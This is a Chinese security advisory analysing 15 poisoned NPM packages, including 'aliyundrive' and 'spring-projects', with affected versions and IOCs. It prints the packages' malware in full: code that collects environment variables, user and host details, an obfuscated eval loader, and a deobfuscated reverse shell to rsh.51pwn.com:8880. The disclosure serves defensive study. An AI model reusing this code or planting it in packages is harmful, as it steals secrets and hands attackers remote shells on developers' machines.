10月31日,墨菲安全实验室监测到名为hktalent的开发者在NPM中央仓库发布了aliyundrive、spring-projects 等15个NPM投毒包,组件包通过混淆进行反检测,开发者难以发现隐藏的恶意代码。
其中 aliyundrive 组件包仿冒了阿里云盘名称,国内用户开发者在使用阿里云盘过程中有可能中招。
当用户安装时会窃取用户的操作系统、网络接口、主机等敏感信息,并与攻击者可控的C2服务器建立反弹shell,攻击者可远程在用户主机上执行任意系统命令。
目前NPM官方源尚未下架投毒包,建议用户及时排查,防止安装使用投毒组件。
投毒包详细分析
以 spring-projects 投毒包为例,当用户安装时会执行 package.json 中的 script 代码:"init": "node ./scripts/init.js"
,进而调用 script/rsh.js
中的恶意代码。
恶意代码的第一部分主要用于收集系统信息,在以下代码中用//
进行注释说明:
//script/rsh.js
//第一部分
var os = require("os"),
zlib = require("zlib"),
bs = "u0062u0061u0073u0065u0036u0034",
filterNet = (o) => {
var oR = {};
for (var k in o) {
if ("lo0" == k) continue;
for (var i in o[k]) {
if ("127.0.0.1" == o[k][i]["address"]) continue;
if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
oR[k] = o[k][i]
break;
}
}
}
return oR;
},
rmKeys = (o, ...keys) => {
for (var k in keys) {
delete o[keys[k]];
}
return o;
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
zO = (o) => zS(JSON.stringify(o, null, 2)),
uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
o = {
"name": pkg.name, //软件包的名称
"version": pkg.version, //软件包的版本号
"pwd": process.cwd(), //当前工作目录的路径
"env": process.env, //Node.js 进程的环境变量
"platform": os.platform(), //操作系统的名称
"arch": os.arch(), //CPU 架构
"release": os.release(), //操作系统版本的发行号
"type": os.type(), //操作系统类型
"uptime": os.uptime(), //计算机的运行时间
"hostname": os.hostname(), //计算机的主机名
"cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")], //CPU 信息
"networkInterfaces": filterNet(os.networkInterfaces()), //网口信息
"freemem": os.freemem(), //可用的物理内存
"totalmem": os.totalmem(), //总物理内存量
"userInfo": os.userInfo() //当前用户的信息
};
//第二部分
let s = zO(o), u0073u0031 =uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
u0070u0072u006Fu0063u0065u0073u0073.u0065u006Eu0076.u004Eu004Fu0044u0045u005Fu004Eu004Fu005Fu0045u0056u0041u004C = undefined;
u0065u0076u0061u006C(u0073u0031);
进而将收集的主机敏感信息发送到攻击者可控的服务器地址:
恶意代码的第二部分通过Unicode编码进行混淆,经过反混淆后的代码为:
var config = {
host: "rsh.51pwn.com",
port: 8880
},net = require("net"),
cp = require("child_process"),client = new net.Socket(),
reConn = () => {client.connect(config.port, config.host)};
client.on("connect", () => {
var command = (process.platform === "win32" ? "cmd /c start /b cmd" : "/bin/sh").split(" "),
sh = cp.spawn(command[0], command.slice(1));
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write("51pwn_npmn");
client.write(s + "n");
sh.on("exit", (code) => {
if (code === 1) {
reConn()
}
})
});
client.on("close", () => {reConn()});client.on("error", (e) => {});
reConn();
process.on("exit", () => {process.exitCode = 0;reConn()});
代码会与攻击者可控的C2服务器建立反弹shell,进而接收攻击者可控的系统命令:
攻击者的C2服务器接收到受害者主机的反弹shell
涉及投毒包
包名 | 版本 |
xterm-addon-clipboard | [6.0.2,6.0.4] |
rocketmq-site | [6.0.2,6.0.4] |
aliyundrive | [6.0.3,6.0.4] |
commons-skin | [3.0.2,6.0.4] |
echarts-www | [3.0.2,6.0.4] |
linkis-website | [3.0.2,6.0.4] |
scan4all | [3.0.0,6.0.4] |
spring-projects | [6.0.2,6.0.4] |
www-site | [3.0.2,6.0.4] |
unieap | [2.2.1,6.0.4] |
unieap-android | [2.2.1,6.0.4] |
unieap-cloud | [2.2.1,6.0.4] |
unieap-ios | [2.2.1,6.0.4] |
yinhai | [3.0.2,6.0.4] |
unieap-spring | [2.2.1,6.0.4] |
IOC地址
域名 | IP |
rsh.51pwn.com | 65.49.208.113 |
参考链接
- https://github.com/hktalent/51Pwn-Platform